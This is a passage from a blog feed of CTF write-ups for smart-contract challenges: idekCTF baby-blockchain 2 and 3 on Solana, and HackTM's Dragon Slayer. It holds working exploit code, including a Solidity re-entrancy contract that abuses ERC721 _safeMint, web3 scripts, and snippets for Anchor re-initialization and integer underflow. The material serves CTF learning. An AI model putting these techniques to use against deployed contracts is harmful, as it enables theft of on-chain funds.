&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;850&quot; data-origin-height=&quot;104&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/phVbc/btr0ybtbP4Q/iFua5cIf2KAkv6vkK0vI0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/phVbc/btr0ybtbP4Q/iFua5cIf2KAkv6vkK0vI0k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/phVbc/btr0ybtbP4Q/iFua5cIf2KAkv6vkK0vI0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FphVbc%2Fbtr0ybtbP4Q%2FiFua5cIf2KAkv6vkK0vI0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;104&quot; data-origin-width=&quot;850&quot; data-origin-height=&quot;104&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Since admin should be a Signer, it can be considered that vulnerability of baby-blockchain 1 has been fixed.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;So we should look at the attempt that contains token::transfer.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Root Cause&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;lib.rs&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Rust is known that it allow user not to overflow and underflow.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Actually, one can avoid that.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://stackoverflow.com/questions/31215139/how-can-integer-overflow-protection-be-turned-off&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://stackoverflow.com/questions/31215139/how-can-integer-overflow-protection-be-turned-off&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;When entering, record decreases by 1.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If record is zero, record minus one would be 255&lt;/p&gt;
&lt;pre id=&quot;code_1677132000618&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    pub fn attempt(ctx: Context&amp;lt;Attempt&amp;gt;) -&amp;gt; Result&amp;lt;()&amp;gt; {
        let record = &amp;amp;mut ctx.accounts.record;
        msg!(&quot;[CHALL] attempt.tries {}&quot;, record.tries);
        if record.tries &amp;gt; 0 {
            let reserve_bump = [*ctx.bumps.get(&quot;reserve&quot;).unwrap()];
            let signer_seeds = [
                b&quot;RESERVE&quot;,
                reserve_bump.as_ref()
            ];
            let signer = &amp;amp;[&amp;amp;signer_seeds[..]];

            let withdraw_ctx = CpiContext::new_with_signer(
                ctx.accounts.token_program.to_account_info(),
                Transfer {
                    from: ctx.accounts.reserve.to_account_info(),
                    to: ctx.accounts.user_account.to_account_info(),
                    authority: ctx.accounts.reserve.to_account_info()
                },
                signer
            );
            token::transfer(withdraw_ctx, record.tries as u64)?;
        }
        record.tries -= 1; // here
        Ok(())
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Solve&lt;/h3&gt;
&lt;pre id=&quot;code_1677132095870&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;        for _ in 0..6 {
                let cpi_accounts = chall::cpi::accounts::Attempt {
                    reserve: ctx.accounts.reserve.to_account_info(),
                    record: ctx.accounts.user_record.to_account_info(),
                    user_account: ctx.accounts.user_account.to_account_info(),
                    mint: ctx.accounts.mint.to_account_info(),
                    user: ctx.accounts.user.to_account_info(),
                    token_program: ctx.accounts.token_program.to_account_info(),
                };
                let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
                chall::cpi::attempt(cpi_ctx)?;
        }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;baby blockchain 3&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/idekctf/idekctf2022/tree/main/blockchain/baby-3&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/idekctf/idekctf2022/tree/main/blockchain/baby-3&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Analysis&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;lib.rs&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The vulnerabiltiy of blockchain-2 is fixed!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;871&quot; data-origin-height=&quot;108&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OY0EH/btr0qrEoQV9/YUNK8oXGzi2KvIh4VrKAaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OY0EH/btr0qrEoQV9/YUNK8oXGzi2KvIh4VrKAaK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OY0EH/btr0qrEoQV9/YUNK8oXGzi2KvIh4VrKAaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOY0EH%2Fbtr0qrEoQV9%2FYUNK8oXGzi2KvIh4VrKAaK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;871&quot; height=&quot;108&quot; data-origin-width=&quot;871&quot; data-origin-height=&quot;108&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;inside &lt;span&gt;Initialize&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;init&amp;nbsp; &amp;gt; init_if_needed&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;858&quot; data-origin-height=&quot;347&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcFJWs/btr0yJwu7c6/JQOtfsgva56is5CK54WoSK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcFJWs/btr0yJwu7c6/JQOtfsgva56is5CK54WoSK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcFJWs/btr0yJwu7c6/JQOtfsgva56is5CK54WoSK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcFJWs%2Fbtr0yJwu7c6%2FJQOtfsgva56is5CK54WoSK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;858&quot; height=&quot;347&quot; data-origin-width=&quot;858&quot; data-origin-height=&quot;347&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;inside &lt;span&gt;Deposit&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;admin and user should be both signer.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;859&quot; data-origin-height=&quot;114&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cF89PJ/btr0xQXaqn0/1lVhKLrZYioso63rvvH6xK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cF89PJ/btr0xQXaqn0/1lVhKLrZYioso63rvvH6xK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cF89PJ/btr0xQXaqn0/1lVhKLrZYioso63rvvH6xK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcF89PJ%2Fbtr0xQXaqn0%2F1lVhKLrZYioso63rvvH6xK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;859&quot; height=&quot;114&quot; data-origin-width=&quot;859&quot; data-origin-height=&quot;114&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Root Cause&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;inif_init_need's description&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #0070d1;&quot;&gt;&lt;a href=&quot;https://docs.rs/anchor-lang/latest/anchor_lang/derive.Accounts.html&quot;&gt;https://docs.rs/anchor-lang/latest/anchor_lang/derive.Accounts.html&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;When using init_if_needed, you need to make sure you properly protect yourself against re-initialization attacks. You need to include checks in your code that check that the initialized account cannot be reset to its initial settings after the first time it was initialized&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;When constraint of account is init, it cannot be re-initialization.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;But, it can be re-initialization with init_if_needed. (re-initialization attack)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;By calling initialize, we can change the admin of reserve to user.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Solve&lt;/h3&gt;
&lt;pre id=&quot;code_1677139522233&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;        let cpi_accounts = chall::cpi::accounts::Initialize {
            config: ctx.accounts.config.to_account_info(),
            reserve: ctx.accounts.reserve.to_account_info(),
            mint: ctx.accounts.mint.to_account_info(),
            admin:ctx.accounts.user.to_account_info(),
            token_program: ctx.accounts.token_program.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
            rent: ctx.accounts.rent.to_account_info(),
        };
        
        let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
        chall::cpi::initialize(cpi_ctx)?;

        let cpi_accounts2 = chall::cpi::accounts::Deposit {
            config: ctx.accounts.config.to_account_info(),
            reserve: ctx.accounts.reserve.to_account_info(),
            user_account: ctx.accounts.user_account.to_account_info(),
            mint: ctx.accounts.mint.to_account_info(),
            admin: ctx.accounts.user.to_account_info(),
            user: ctx.accounts.user.to_account_info(),
            token_program: ctx.accounts.token_program.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
            rent: ctx.accounts.rent.to_account_info(),
        };
        let cpi_ctx2 = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts2);
        chall::cpi::deposit(cpi_ctx2, 201 as u64)?;&lt;/code&gt;&lt;/pre&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/156</guid>
      <comments>https://gss1.tistory.com/entry/Idek-CTF-2023-pwn-baby-blockchain-123#entry156comment</comments>
      <pubDate>Sun, 19 Feb 2023 21:54:52 +0900</pubDate>
    </item>
    <item>
      <title>HackTM CTF Quals 2023 - smart contract(Dragon Slayer, Diamond Heist)</title>
      <link>https://gss1.tistory.com/entry/HackTM-CTF-Quals-2023-smart-contractDragon-Slayer-Diamond-Heist</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;I &lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;solved 2 out of 2 smart contract challenges in &lt;a href=&quot;https://ctftime.org/event/1848&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;HackTM CTF Quals 2023&lt;/a&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1308&quot; data-origin-height=&quot;666&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DiXKc/btrZQcmf7Q2/IFAOeitKIWtmqfDWzXH7L0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DiXKc/btrZQcmf7Q2/IFAOeitKIWtmqfDWzXH7L0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DiXKc/btrZQcmf7Q2/IFAOeitKIWtmqfDWzXH7L0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDiXKc%2FbtrZQcmf7Q2%2FIFAOeitKIWtmqfDWzXH7L0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1308&quot; height=&quot;666&quot; data-origin-width=&quot;1308&quot; data-origin-height=&quot;666&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;Dragon Slayer&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;&lt;a href=&quot;https://github.com/kangsangsoo/CTF-Writeups/blob/main/dragon_slayer_contracts.zip&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/kangsangsoo/CTF-Writeups/blob/main/dragon_slayer_contracts.zip&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;Analysis&lt;/span&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;We should fight against Dragon.&lt;/li&gt;
&lt;li&gt;Knight's sword and shield are very very weak.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;We can purchase some equips through shop.&lt;/li&gt;
&lt;li&gt;The equips that make us win against Dragon is very very expensive. (We have only 10 ether, but they are 1_000_000 ether)&lt;/li&gt;
&lt;li&gt;There is Bank and it could be helpful to make money.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;Root Cause&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;BankNote inherites ERC721 and use _safeMint() in mint() of BankNote.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1676771274193&quot; class=&quot;sol reasonml&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    function mint(address to, uint256 tokenId) public onlyOwner {
        _safeMint(to, tokenId); // why safeMint?
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;It is known that _safeMint() of ERC721 is vulnerable to re-entrancy attack because it calls onERC721Received() which behaves like callback. In addition, &lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;contracts of &lt;/span&gt;challenge do not have &lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;modifiers that protect them from re-entrancy.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;&lt;a href=&quot;https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol#L247&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol#L247&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;Exploit&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In Bank.sol, the number of bankNote.mint() call is three.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Among them, I chose split() because it is not implemented correctly Checks Effects Interaction.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1676773492518&quot; class=&quot;sol cs&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;        for (uint i = 0; i &amp;lt; amounts.length; i++) {
            uint value = amounts[i];

            _ids.increment();
            uint bankNoteId = _ids.current();

            bankNote.mint(msg.sender, bankNoteId); // re
            bankNoteValues[bankNoteId] = value; 
            totalValue += value;
        }

        require(totalValue == bankNoteValues[bankNoteIdFrom], &quot;NOT_ENOUGH&quot;);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Part1 - mint a banknote whose amount is zero.&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;At merge() of Bank.sol, when bankNoteIdsFrom is empty array, it would mint a banknote whose amount is zero.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Part2 - flashloan through split&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;By writing the internal code of onERC721Received() which do re-entrancy, split() can achieve the same effect as flashloan.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;For example, assuming that amounts = [1_000_000 ether, 0] and when only i = 1, we catch the callback, we can send 1_000_000 ether to bankNoteValues[BankNoteIdFrom] by transferPartial() before exiting the callback.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Then, we can bypass require(totalValue&amp;nbsp;==&amp;nbsp;bankNoteValues[bankNoteIdFrom],&amp;nbsp;&quot;NOT_ENOUGH&quot;);&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;This mechanism is very similar to flash loan.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Part3 - Summary&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;flashloan through split()&lt;/li&gt;
&lt;li&gt;transform BankNote to GoldCoin&lt;/li&gt;
&lt;li&gt;purchases equips whose price 1_000_000 ether&lt;/li&gt;
&lt;li&gt;fight agianst Dragon&lt;/li&gt;
&lt;li&gt;sell equips that bought for fight&lt;/li&gt;
&lt;li&gt;transfrom GoldCoin to BankNote&amp;nbsp;&lt;/li&gt;
&lt;li&gt;repay BankNote through transferPartial()&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Attack.sol&lt;/p&gt;
&lt;pre id=&quot;code_1676773083232&quot; class=&quot;sol reasonml&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// SPDX-License-Identifier: MIT

pragma solidity ^0.8.13;

import &quot;./openzeppelin-contracts/access/Ownable.sol&quot;;

import &quot;./Shop.sol&quot;;
import &quot;./Bank.sol&quot;;
import &quot;./Dragon.sol&quot;;
import &quot;./Setup.sol&quot;;
import &quot;./Knight.sol&quot;;
import &quot;./GoldCoin.sol&quot;;

contract Attack {

    Bank public bank;
    Setup public setup;
    Knight public knight;
    GoldCoin public goldCoin;

    constructor(address _bank, address _setup, address _knight, address _goldCoin) {
        knight = Knight(_knight);
        setup = Setup(_setup);
        bank = Bank(_bank);
        setup.claim();
        goldCoin = GoldCoin(_goldCoin);
    }

    function attack1() public {
        bank.merge(new uint[](0)); // id = 1
        uint[] memory mem = new uint[](3);
        mem[0] = 2_000_000 ether; // id = 2
        mem[1] = 0; // id = 3
        mem[2] = 0; // id = 4
        bank.split(1, mem); 
    }

    function onERC721Received(address a, address b, uint256 c, bytes calldata d) public returns (bytes4) {
        if(c==3) {
            bank.withdraw(2);

            GoldCoin(goldCoin).transfer(address(knight), 2_000_000 ether);

            knight.buyItem(3);
            knight.buyItem(4);

            knight.fightDragon();
            knight.fightDragon();

            knight.sellItem(3);
            knight.sellItem(4);

            knight.bankDeposit(2_000_000 ether); // id = 4
            knight.bankTransferPartial(4, 2_000_000 ether, 1);
        }
        return this.onERC721Received.selector;
    }

    function onERC1155Received(address, address, uint256, uint256, bytes calldata) public pure returns (bytes4) {
        return this.onERC1155Received.selector;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;attack.py&lt;/p&gt;
&lt;pre id=&quot;code_1676773171114&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import json
from web3 import Web3
from solc import compile_source
from Crypto.Util.number import *
w3 = Web3(Web3.HTTPProvider(&quot;http://34.141.16.87:30101/5f4f62c4-5ae8-40ec-9649-5c05deb6b47d&quot;))

#Check Connection
t=w3.isConnected()
print(t)

# Get env
prikey = '0x91a200bc38507358c63cbe8e79531065367a33353500da205b2992267fe0eb01'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
myAddr = Public_Address

SETUP = &quot;0x785ed095a7B38aD8ef99675dCB7452cAA10B9483&quot;
KNIGHT = Web3.toChecksumAddress(hex(bytes_to_long(w3.eth.get_storage_at(SETUP, 0)[12:])))

def bank():
    f = open('knight_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=KNIGHT, abi=abi)
    func_call = contract.functions.bank().call()
    return func_call   

def goldcoin():
    f = open('bank_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=BANK, abi=abi)
    func_call = contract.functions.goldCoin().call()
    return func_call 

def attack_deploy():
    f = open(&quot;attack_abi&quot;, &quot;r&quot;); contract_abi= f.read(); f.close()
    f = open(&quot;attack_bytecode&quot;, &quot;r&quot;); contract_bytecode= f.read(); f.close()

    contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
    transaction = contract.constructor(BANK, SETUP, KNIGHT, GOLDCOIN).buildTransaction(
        {
            &quot;chainId&quot;: w3.eth.chain_id,
            &quot;gasPrice&quot;: w3.eth.gas_price,
            &quot;from&quot;: Public_Address,
            &quot;nonce&quot;: w3.eth.get_transaction_count(Public_Address),
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print(&quot;Deploying Contract!&quot;)
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print(&quot;Waiting for transaction to finish...&quot;)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f&quot;Done! Contract deployed to {transaction_receipt.contractAddress}&quot;)
    return str(transaction_receipt.contractAddress)

def attack():
    f = open('attack_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=ATTACK, abi=abi)
    func_call = contract.functions[&quot;attack1&quot;]().buildTransaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id
    })

    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

BANK = bank()
GOLDCOIN = goldcoin()
ATTACK = attack_deploy()
attack()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;HackTM{n0w_g0_g3t_th4t_run3_pl4t3b0dy_b4af5ff9eab4b0f7}&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
